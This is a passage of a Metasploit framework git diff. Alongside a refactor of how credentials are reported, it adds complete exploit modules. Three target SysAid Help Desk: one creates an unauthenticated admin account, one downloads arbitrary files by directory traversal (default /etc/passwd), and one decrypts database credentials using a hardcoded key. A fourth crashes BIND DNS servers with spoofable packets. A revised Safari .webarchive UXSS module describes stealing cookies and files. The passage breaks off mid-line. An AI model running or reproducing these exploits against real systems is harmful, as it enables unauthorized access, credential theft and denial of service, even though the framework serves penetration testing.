:port => rport, - :user => datastore["USERNAME"], - :pass => datastore["PASSWORD"], - :type => "password", - :sname => (ssl ? "https" : "http"), - :proof => "#{login_url}\n#{res.body}" - }) + report_cred( + ip: rhost, + port: rport, + service_name: (ssl ? "https" : "http"), + user: datastore['USERNAME'], + password: datastore['PASSWORD'], + proof: "#{login_url}\n#{res.body}" + ) + print_good("#{peer} - Account #{datastore["USERNAME"]}/#{datastore["PASSWORD"]} created successfully.") print_status("#{peer} - Use it to log into #{login_url}") end diff --git a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb index cb95df48c3..533a7d5074 100644 --- a/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dir_645_password_extractor.rb @@ -33,6 +33,35 @@ class Metasploit3 < Msf::Auxiliary ) end + + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") @@ -72,14 +101,14 @@ class Metasploit3 < Msf::Auxiliary vprint_good("user: #{@user}") vprint_good("pass: #{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => @user, - :pass => pass, - :active => true - ) + report_cred( + ip: rhost, + port: rport, + service_name: 'http', + user: @user, + password: pass, + proof: line + ) end end end diff --git a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb index dad5e64ed6..9ab873d031 100644 --- a/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb +++ b/modules/auxiliary/admin/http/dlink_dsl320b_password_extractor.rb @@ -32,6 +32,33 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run vprint_status("#{rhost}:#{rport} - Trying to access the configuration of the device") @@ -69,13 +96,13 @@ class Metasploit3 < Msf::Auxiliary pass = $1 pass = Rex::Text.decode_base64(pass) print_good("#{rhost}:#{rport} - Credentials found: #{user} / #{pass}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => user, - :pass => pass, - :active => true + report_cred( + ip: rhost, + port: rport, + sname: 'http', + user: user, + password: pass, + proof: line ) end end diff --git a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb index c55a974bc0..5087e8bcb4 100644 --- a/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb +++ b/modules/auxiliary/admin/http/nexpose_xxe_file_read.rb @@ -47,6 +47,32 @@ class Metasploit4 < Msf::Auxiliary ], self.class) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED + }.merge(service_data) + + create_credential_login(login_data) + end + def run user = datastore['USERNAME'] pass = datastore['PASSWORD'] @@ -57,14 +83,13 @@ class Metasploit4 < Msf::Auxiliary print_status("Authenticating as: " << user) begin nsc.login - report_auth_info( - :host => rhost, - :port => rport, - :sname => prot, - :user => user, - :pass => pass, - :proof => '', - :active => true + + report_cred( + ip: rhost, + port: rport, + service_name: prot, + user: user, + password: pass ) rescue diff --git a/modules/auxiliary/admin/http/sysaid_admin_acct.rb b/modules/auxiliary/admin/http/sysaid_admin_acct.rb new file mode 100644 index 0000000000..7b753f52b9 --- /dev/null +++ b/modules/auxiliary/admin/http/sysaid_admin_acct.rb @@ -0,0 +1,88 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Exploit::Remote::HttpClient + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'SysAid Help Desk Administrator Account Creation', + 'Description' => %q{ + This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated + user to create an administrator account. Note that this exploit will only work once. Any + subsequent attempts will fail. On the other hand, the credentials must be verified + manually. This module has been tested on SysAid 14.4 in Windows and Linux. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2015-2993' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2015/Jun/8' ] + ], + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8080]), + OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), + OptString.new('USERNAME', [true, 'The username for the new admin account', 'msf']), + OptString.new('PASSWORD', [true, 'The password for the new admin account', 'password']) + ], self.class) + end + + + def run + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], 'createnewaccount'), + 'method' =>'GET', + 'vars_get' => { + 'accountID' => Rex::Text.rand_text_numeric(4), + 'organizationName' => Rex::Text.rand_text_alpha(rand(4) + rand(8)), + 'userName' => datastore['USERNAME'], + 'password' => datastore['PASSWORD'], + 'masterPassword' => 'master123' + } + }) + if res && res.code == 200 && res.body.to_s =~ /Error while creating account/ + # No way to know whether this worked or not, it always says error + print_status("#{peer} - The new administrator #{datastore['USERNAME']}:#{datastore['PASSWORD']} should be checked manually") + service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: datastore['PASSWORD'], + username: datastore['USERNAME'] + } + + credential_data.merge!(service_data) + credential_core = create_credential(credential_data) + login_data = { + core: credential_core, + access_level: 'Administrator', + status: Metasploit::Model::Login::Status::UNTRIED + } + login_data.merge!(service_data) + create_credential_login(login_data) + else + print_error("#{peer} - Administrator account creation failed") + end + end +end diff --git a/modules/auxiliary/admin/http/sysaid_file_download.rb b/modules/auxiliary/admin/http/sysaid_file_download.rb new file mode 100644 index 0000000000..1add8ee9b2 --- /dev/null +++ b/modules/auxiliary/admin/http/sysaid_file_download.rb @@ -0,0 +1,142 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'SysAid Help Desk Arbitrary File Download', + 'Description' => %q{ + This module exploits two vulnerabilities in SysAid Help Desk that allows + an unauthenticated user to download arbitrary files from the system. First, an + information disclosure vulnerability (CVE-2015-2997) is used to obtain the file + system path, and then we abuse a directory traversal (CVE-2015-2996) to download + the file. Note that there are some limitations on Windows, in that the information + disclosure vulnerability doesn't work on a Windows platform, and we can only + traverse the current drive (if you enter C:\afile.txt and the server is running + on D:\ the file will not be downloaded). + + This module has been tested with SysAid 14.4 on Windows and Linux. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-2996'], + ['CVE', '2015-2997'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt'], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'] + ], + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8080]), + OptString.new('TARGETURI', [ true, "SysAid path", '/sysaid']), + OptString.new('FILEPATH', [false, 'Path of the file to download (escape Windows paths with a back slash)', '/etc/passwd']), + ], self.class) + end + + def get_traversal_path + print_status("#{peer} - Trying to find out the traversal path...") + large_traversal = '../' * rand(15...30) + servlet_path = 'getAgentLogFile' + + # We abuse getAgentLogFile to obtain the + res = send_request_cgi({ + 'uri' => normalize_uri(datastore['TARGETURI'], servlet_path), + 'method' => 'POST', + 'data' => Zlib::Deflate.deflate(Rex::Text.rand_text_alphanumeric(rand(100) + rand(300))), + 'ctype' => 'application/octet-stream', + 'vars_get' => { + 'accountId' => large_traversal + Rex::Text.rand_text_alphanumeric(8 + rand(10)), + 'computerId' => Rex::Text.rand_text_alphanumeric(8 + rand(10)) + } + }) + + if res && res.code == 200 && res.body.to_s =~ /\(.*)\<\/H2\>/ + error_path = $1 + # Error_path is something like: + # /var/lib/tomcat7/webapps/sysaid/./WEB-INF/agentLogs/../../../../../../../../../../ajkdnjhdfn/1421678611732.zip + # This calculates how much traversal we need to do to get to the root. + position = error_path.index(large_traversal) + unless position.nil? + return '../' * (error_path[0, position].count('/') - 2) + end + end + end + + def download_file(download_path) + begin + return send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'), + 'vars_get' => { + 'fileName' => download_path + }, + }) + rescue Rex::ConnectionRefused + print_error("#{peer} - Could not connect.") + return + end + end + + def run + # No point to continue if filepath is not specified + if datastore['FILEPATH'].nil? || datastore['FILEPATH'].empty? + fail_with(Failure::BadConfig, 'Please supply the path of the file you want to download.') + end + + print_status("#{peer} - Downloading file #{datastore['FILEPATH']}") + if datastore['FILEPATH'] =~ /([A-Za-z]{1}):(\\*)(.*)/ + file_path = $3 + else + file_path = datastore['FILEPATH'] + end + + traversal_path = get_traversal_path + if traversal_path.nil? + print_error("#{peer} - Could not get traversal path, using bruteforce to download the file") + count = 1 + while count < 15 + res = download_file(('../' * count) + file_path) + if res && res.code == 200 && res.body.to_s.bytesize != 0 + break + end + count += 1 + end + else + res = download_file(traversal_path[0,traversal_path.length - 1] + file_path) + end + + if res && res.code == 200 + if res.body.to_s.bytesize == 0 + fail_with(Failure::NoAccess, "#{peer} - 0 bytes returned, file does not exist or it is empty.") + else + vprint_line(res.body.to_s) + fname = File.basename(datastore['FILEPATH']) + + path = store_loot( + 'sysaid.http', + 'application/octet-stream', + datastore['RHOST'], + res.body, + fname + ) + print_good("File saved in: #{path}") + end + else + fail_with(Failure::Unknown, "#{peer} - Failed to download file.") + end + end +end diff --git a/modules/auxiliary/admin/http/sysaid_sql_creds.rb b/modules/auxiliary/admin/http/sysaid_sql_creds.rb new file mode 100644 index 0000000000..b2ccb89657 --- /dev/null +++ b/modules/auxiliary/admin/http/sysaid_sql_creds.rb @@ -0,0 +1,151 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'openssl' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'SysAid Help Desk Database Credentials Disclosure', + 'Description' => %q{ + This module exploits a vulnerability in SysAid Help Desk that allows an unauthenticated + user to download arbitrary files from the system. This is used to download the server + configuration file that contains the database username and password, which is encrypted + with a fixed, known key. This module has been tested with SysAid 14.4 on Windows and Linux. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and MSF module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2015-2996'], + ['CVE', '2015-2998'], + ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/generic/sysaid-14.4-multiple-vulns.txt' ], + ['URL', 'http://seclists.org/fulldisclosure/2015/Jun/8'] + ], + 'DisclosureDate' => 'Jun 3 2015')) + + register_options( + [ + OptPort.new('RPORT', [true, 'The target port', 8080]), + OptString.new('TARGETURI', [ true, 'SysAid path', '/sysaid']), + ], self.class) + end + + + def decrypt_password (ciphertext) + salt = [-87, -101, -56, 50, 86, 53, -29, 3].pack('c*') + cipher = OpenSSL::Cipher::Cipher.new("DES") + base_64_code = Rex::Text.decode_base64(ciphertext) + cipher.decrypt + cipher.pkcs5_keyivgen 'inigomontoya', salt, 19 + + plaintext = cipher.update base_64_code + plaintext << cipher.final + plaintext + end + + def run + begin + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(datastore['TARGETURI'], 'getGfiUpgradeFile'), + 'vars_get' => { + 'fileName' => '../conf/serverConf.xml' + }, + }) + rescue Rex::ConnectionRefused + fail_with(Failure::Unreachable, "#{peer} - Could not connect.") + end + + if res && res.code == 200 && res.body.to_s.bytesize != 0 + username = /\(.*)\<\/dbUser\>/.match(res.body.to_s) + encrypted_password = /\(.*)\<\/dbPassword\>/.match(res.body.to_s) + database_url = /\(.*)\<\/dbUrl\>/.match(res.body.to_s) + database_type = /\(.*)\<\/dbType\>/.match(res.body.to_s) + + unless username && encrypted_password && database_type && database_url + fail_with(Failure::Unknown, "#{peer} - Failed to obtain database credentials.") + end + + username = username.captures[0] + encrypted_password = encrypted_password.captures[0] + database_url = database_url.captures[0] + database_type = database_type.captures[0] + password = decrypt_password(encrypted_password[6..encrypted_password.length]) + credential_core = report_credential_core({ + password: password, + username: username + }) + + matches = /(\w*):(\w*):\/\/(.*)\/(\w*)/.match(database_url) + if matches + begin + if database_url['localhost'] == 'localhost' + db_address = matches.captures[2] + db_port = db_address[(db_address.index(':') + 1)..(db_address.length - 1)].to_i + db_address = rhost + else + db_address = matches.captures[2] + if db_address.index(':') + db_address = db_address[0, db_address.index(':')] + db_port = db_address[db_address.index(':')..(db_address.length - 1)].to_i + else + db_port = 0 + end + db_address = Rex::Socket.getaddress(db_address, true) + end + database_login_data = { + address: db_address, + service_name: database_type, + protocol: 'tcp', + port: db_port, + workspace_id: myworkspace_id, + core: credential_core, + status: Metasploit::Model::Login::Status::UNTRIED + } + create_credential_login(database_login_data) + # Skip creating the Login, but tell the user about it if we cannot resolve the DB Server Hostname + rescue SocketError + fail_with(Failure::Unknown, 'Could not resolve database server hostname.') + end + + print_status("#{peer} - Stored SQL credentials #{username}:#{password} for #{matches.captures[2]}") + return + end + else + fail_with(Failure::NotVulnerable, "#{peer} - Failed to obtain database credentials, response was: #{res.code}") + end + end + + + def report_credential_core(cred_opts={}) + origin_service_data = { + address: rhost, + port: rport, + service_name: (ssl ? 'https' : 'http'), + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + private_type: :password, + private_data: cred_opts[:password], + username: cred_opts[:username] + } + + credential_data.merge!(origin_service_data) + create_credential(credential_data) + end +end diff --git a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb index 638d429021..b9efc4ae7f 100644 --- a/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb +++ b/modules/auxiliary/admin/http/vbulletin_upgrade_admin.rb @@ -49,6 +49,33 @@ class Metasploit3 < Msf::Auxiliary datastore["PASSWORD"] end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + + def run if user == pass @@ -84,14 +111,13 @@ class Metasploit3 < Msf::Auxiliary if res and res.code == 200 and res.body =~ /Administrator account created/ print_good("#{peer} - Admin account with credentials #{user}:#{pass} successfully created") - report_auth_info( - :host => rhost, - :port => rport, - :sname => 'http', - :user => user, - :pass => pass, - :active => true, - :proof => res.body + report_cred( + ip: rhost, + port: rport, + service_name: 'http', + user: user, + password: pass, + proof: res.body ) else print_error("#{peer} - Admin account creation failed") diff --git a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb index 75bf278687..774e6f0f3e 100644 --- a/modules/auxiliary/admin/http/wp_custom_contact_forms.rb +++ b/modules/auxiliary/admin/http/wp_custom_contact_forms.rb @@ -62,6 +62,33 @@ class Metasploit3 < Msf::Auxiliary table_prefix end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: DateTime.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run username = Rex::Text.rand_text_alpha(10) password = Rex::Text.rand_text_alpha(20) @@ -98,14 +125,14 @@ class Metasploit3 < Msf::Auxiliary # login successfull if cookie print_status("#{peer} - User #{username} with password #{password} successfully created") - report_auth_info( - sname: 'WordPress', - host: rhost, + report_cred( + ip: rhost, port: rport, user: username, - pass: password, - active: true - ) + password: password, + service_name: 'WordPress', + proof: cookie + ) else print_error("#{peer} - User creation failed") return diff --git a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb index 44f67456a9..ec3ce10323 100644 --- a/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb +++ b/modules/auxiliary/admin/http/zyxel_admin_password_extractor.rb @@ -7,8 +7,8 @@ require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient def initialize super( @@ -33,6 +33,32 @@ class Metasploit3 < Msf::Auxiliary ) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + def run begin print_status("Trying to get 'admin' user password ...") @@ -62,13 +88,14 @@ class Metasploit3 < Msf::Auxiliary else admin_password = admin_password_matches[1]; print_good("Password for user 'admin' is: #{admin_password}") - report_auth_info( - :host => rhost, - :port => rport, - :sname => "ZyXEL GS1510-16", - :user => 'admin', - :pass => admin_password, - :active => true + + report_cred( + ip: rhost, + port: rport, + service_name: 'ZyXEL GS1510-16', + user: 'admin', + password: admin_password, + proof: res.body ) end rescue ::Rex::ConnectionError diff --git a/modules/auxiliary/admin/misc/sercomm_dump_config.rb b/modules/auxiliary/admin/misc/sercomm_dump_config.rb index 50c7d6d536..84979820e9 100644 --- a/modules/auxiliary/admin/misc/sercomm_dump_config.rb +++ b/modules/auxiliary/admin/misc/sercomm_dump_config.rb @@ -88,6 +88,32 @@ class Metasploit3 < Msf::Auxiliary parse_configuration(config[:data]) end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::UNTRIED, + proof: opts[:proof] + }.merge(service_data) + + create_credential_login(login_data) + end + private def little_endian? @@ -200,16 +226,14 @@ class Metasploit3 < Msf::Auxiliary @credentials.each do |k,v| next unless v[:user] and v[:password] print_status("#{peer} - #{k}: User: #{v[:user]} Pass: #{v[:password]}") - auth = { - :host => rhost, - :port => rport, - :user => v[:user], - :pass => v[:password], - :type => 'password', - :source_type => "exploit", - :active => true - } - report_auth_info(auth) + report_cred( + ip: rhost, + port: rport, + user: v[:user], + password: v[:password], + service_name: 'sercomm', + proof: v.inspect + ) end end diff --git a/modules/auxiliary/admin/oracle/oracle_login.rb b/modules/auxiliary/admin/oracle/oracle_login.rb index f4a0fbdf1f..e33a0db012 100644 --- a/modules/auxiliary/admin/oracle/oracle_login.rb +++ b/modules/auxiliary/admin/oracle/oracle_login.rb @@ -36,6 +36,32 @@ class Metasploit3 < Msf::Auxiliary end + def report_cred(opts) + service_data = { + address: opts[:ip], + port: opts[:port], + service_name: opts[:service_name], + protocol: 'tcp', + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: fullname, + username: opts[:user], + private_data: opts[:password], + private_type: :password + }.merge(service_data) + + login_data = { + last_attempted_at: Time.now, + core: create_credential(credential_data), + status: Metasploit::Model::Login::Status::SUCCESSFUL + }.merge(service_data) + + create_credential_login(login_data) + end + def run return if not check_dependencies @@ -56,13 +82,12 @@ class Metasploit3 < Msf::Auxiliary break end else - report_auth_info( - :host => "#{datastore['RHOST']}", - :port => "#{datastore['RPORT']}", - :sname => 'oracle', - :user => "#{datastore['SID']}/#{datastore['DBUSER']}", - :pass => "#{datastore['DBPASS']}", - :active => true + report_cred( + ip: datastore['RHOST'], + port: datastore['RPORT'], + service_name: 'oracle', + user: "#{datastore['SID']}/#{datastore['DBUSER']}", + password: datastore['DBPASS'] ) print_status("Found user/pass of: #{datastore['DBUSER']}/#{datastore['DBPASS']} on #{datastore['RHOST']} with sid #{datastore['SID']}") end diff --git a/modules/auxiliary/dos/dns/bind_tkey.rb b/modules/auxiliary/dos/dns/bind_tkey.rb new file mode 100644 index 0000000000..98bacb4f81 --- /dev/null +++ b/modules/auxiliary/dos/dns/bind_tkey.rb @@ -0,0 +1,91 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Auxiliary + + include Msf::Exploit::Capture + include Msf::Auxiliary::UDPScanner + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'BIND TKEY Query Denial of Service', + 'Description' => %q{ + This module sends a malformed TKEY query, which exploits an + error in handling TKEY queries on affected BIND9 'named' DNS servers. + As a result, a vulnerable named server will exit with a REQUIRE + assertion failure. This condition can be exploited in versions of BIND + between BIND 9.1.0 through 9.8.x, 9.9.0 through 9.9.7-P1 and 9.10.0 + through 9.10.2-P2. + }, + 'Author' => [ + 'Jonathan Foote', # Original discoverer + 'throwawayokejxqbbif', # PoC + 'wvu' # Metasploit module + ], + 'References' => [ + ['CVE', '2015-5477'], + ['URL', 'https://www.isc.org/blogs/cve-2015-5477-an-error-in-handling-tkey-queries-can-cause-named-to-exit-with-a-require-assertion-failure/'], + ['URL', 'https://kb.isc.org/article/AA-01272'], + ['URL', 'https://github.com/rapid7/metasploit-framework/issues/5790'] + ], + 'DisclosureDate' => 'Jul 28 2015', + 'License' => MSF_LICENSE, + 'DefaultOptions' => {'ScannerRecvWindow' => 0} + )) + + register_options([ + Opt::RPORT(53), + OptAddress.new('SRC_ADDR', [false, 'Source address to spoof', nil]) + ]) + + deregister_options('PCAPFILE', 'FILTER', 'SNAPLEN', 'TIMEOUT') + end + + def scan_host(ip) + if datastore['SRC_ADDR'] + scanner_spoof_send(payload, ip, rport, datastore['SRC_ADDR']) + else + print_status("Sending packet to #{ip}") + scanner_send(payload, ip, rport) + end + end + + def payload + name = Rex::Text.rand_text_alphanumeric(rand(42) + 1) + txt = Rex::Text.rand_text_alphanumeric(rand(42) + 1) + + name_length = [name.length].pack('C') + txt_length = [txt.length].pack('C') + data_length = [txt.length + 1].pack('n') + ttl = [rand(2 ** 31 - 1) + 1].pack('N') + + query = "\x00\x00" # Transaction ID: 0x0000 + query << "\x00\x00" # Flags: 0x0000 Standard query + query << "\x00\x01" # Questions: 1 + query << "\x00\x00" # Answer RRs: 0 + query << "\x00\x00" # Authority RRs: 0 + query << "\x00\x01" # Additional RRs: 1 + + query << name_length # [Name Length] + query << name # Name + query << "\x00" # [End of name] + query << "\x00\xf9" # Type: TKEY (Transaction Key) (249) + query << "\x00\x01" # Class: IN (0x0001) + + query << name_length # [Name Length] + query << name # Name + query << "\x00" # [End of name] + query << "\x00\x10" # Type: TXT (Text strings) (16) + query << "\x00\x01" # Class: IN (0x0001) + query << ttl # Time to live + query << data_length # Data length + query << txt_length # TXT Length + query << txt # TXT + end + +end diff --git a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb index 1972f99d76..2d81a8f2c6 100644 --- a/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb +++ b/modules/auxiliary/fuzzers/dns/dns_fuzzer.rb @@ -340,7 +340,7 @@ class Metasploit3 < Msf::Auxiliary "DNSKEY,DHCID,NSEC3,NSEC3PARAM,HIP,NINFO,RKEY," << "TALINK,SPF,UINFO,UID,GID,UNSPEC,TKEY,TSIG," << "IXFR,AXFR,MAILA,MAILB,*,TA,DLV,RESERVED" - @fuzz_rr = datastore['RR'].blank ? fuzz_rr_queries : datastore['RR'] + @fuzz_rr = datastore['RR'].blank? ? fuzz_rr_queries : datastore['RR'] end def run_host(ip) diff --git a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb index fa826e67d2..98d347f89d 100644 --- a/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb +++ b/modules/auxiliary/gather/apple_safari_webarchive_uxss.rb @@ -4,28 +4,28 @@ ## require 'msf/core' +require 'msf/core/exploit/format/webarchive' require 'uri' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::FILEFORMAT include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::Format::Webarchive include Msf::Auxiliary::Report - # [Array>] list of poisonable scripts per user-specified URLS - attr_accessor :scripts_to_poison - def initialize(info = {}) super(update_info(info, - 'Name' => 'Apple Safari .webarchive File Format UXSS', + 'Name' => 'Mac OS X Safari .webarchive File Format UXSS', 'Description' => %q{ - This module exploits a security context vulnerability that is inherent - in Safari's .webarchive file format. The format allows you to - specify both domain and content, so we can run arbitrary script in the - context of any domain. This allows us to steal cookies, file URLs, and saved - passwords from any website we want -- in other words, it is a universal - cross-site scripting vector (UXSS). On sites that link to cached javascripts, - we can additionally poison user's browser cache and install keyloggers. + Generates a .webarchive file for Mac OS X Safari that will attempt to + inject cross-domain Javascript (UXSS), silently install a browser + extension, collect user information, steal the cookie database, + and steal arbitrary local files. + + When opened on the target machine the webarchive file must not have the + quarantine attribute set, as this forces the webarchive to execute in a + sandbox. }, 'License' => MSF_LICENSE, 'Author' => 'joev', @@ -34,785 +34,51 @@ class Metasploit3 < Msf::Auxiliary ['URL', 'https://community.rapid7.com/community/metasploit/blog/2013/04/25/abusing-safaris-webarchive-file-format'] ], 'DisclosureDate' => 'Feb 22 2013', - 'Actions' => - [ - [ 'WebServer' ] - ], - 'PassiveActions' => - [ - 'WebServer' - ], + 'Actions' => [ [ 'WebServer' ] ], + 'PassiveActions' => [ 'WebServer' ], 'DefaultAction' => 'WebServer')) - - register_options( - [ - OptString.new('FILENAME', [ true, 'The file name.', 'msf.webarchive']), - OptString.new('URLS', [ true, 'A space-delimited list of URLs to UXSS (eg http://rapid7.com http://example.com']), - OptString.new('URIPATH', [false, 'The URI to receive the UXSS\'ed data', '/grab']), - OptString.new('DOWNLOAD_PATH', [ true, 'The path to download the webarchive.', '/msf.webarchive']), - OptString.new('URLS', [ true, 'The URLs to steal cookie and form data from.', '']), - OptString.new('FILE_URLS', [false, 'Additional file:// URLs to steal.', '']), - OptBool.new('STEAL_COOKIES', [true, "Enable cookie stealing.", true]), - OptBool.new('STEAL_FILES', [true, "Enable local file stealing.", true]), - OptBool.new('INSTALL_KEYLOGGERS', [true, "Attempt to poison the user's cache with a javascript keylogger.", true]), - OptBool.new('STEAL_FORM_DATA', [true, "Enable form autofill stealing.", true]), - OptBool.new('ENABLE_POPUPS', [false, "Enable the popup window fallback method for stealing form data.", true]) - ], - self.class) end def run - if should_install_keyloggers? - print_status("Fetching URLs to parse and look for cached assets...") - self.scripts_to_poison = find_cached_scripts + if datastore["URIPATH"].blank? + datastore["URIPATH"] = "/" + Rex::Text.rand_text_alphanumeric(rand(10) + 6) end + print_status("Creating '#{datastore['FILENAME']}' file...") file_create(webarchive_xml) - print_status("Running WebServer...") - start_http - end - - def cleanup - super - # clear my resource, deregister ref, stop/close the HTTP socket - begin - @http_service.remove_resource(collect_data_uri) - @http_service.deref - @http_service.stop - @http_service.close - @http_service = nil - rescue - end - end - - # - # Ensures that gzip can be used. If not, an exception is generated. The - # exception is only raised if the DisableGzip advanced option has not been - # set. - # - def use_zlib - if (!Rex::Text.zlib_present? and datastore['HTTP::compression'] == true) - fail_with(Failure::Unknown, "zlib support was not detected, yet the HTTP::compression option was set. Don't do that!") - end - end - - # - # Handle the HTTP request and return a response. Code borrorwed from: - # msf/core/exploit/http/server.rb - # - def start_http(opts={}) - # Ensture all dependencies are 